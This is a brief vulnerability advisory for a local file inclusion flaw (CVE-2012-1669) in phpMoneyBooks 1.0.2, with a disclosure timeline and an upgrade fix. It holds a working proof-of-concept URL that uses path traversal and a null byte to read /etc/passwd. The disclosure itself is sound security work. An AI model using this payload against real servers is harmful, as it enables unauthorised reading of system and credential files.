'phpMoneyBooks' Local File Inclusion (CVE-2012-1669)

'phpMoneyBooks' Local File Inclusion (CVE-2012-1669)
Mark Stanislav - [email protected]

I. DESCRIPTION

A vulnerability exists in index.php for module handling that allows
for local file inclusion using a null-byte attack on the 'module' GET
parameter.

II. TESTED VERSION

1.0.2

III. PoC EXPLOIT

http://localhost/phpMoneyBooks102/index.php?module=../../../../../etc/passwd%00

IV. NOTES

• magic_quotes_gpc must be disabled and PHP must be < 5.3.4 for
  null-byte attacks to work

V. SOLUTION

Upgrade to 1.0.3 or above.

VI. REFERENCES

http://phpmoneybooks.com/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1669

VII. TIMELINE

02/29/2012 - Initial vendor disclosure
03/01/2012 - Vendor patched and released an updated version
03/22/2012 - Public disclosure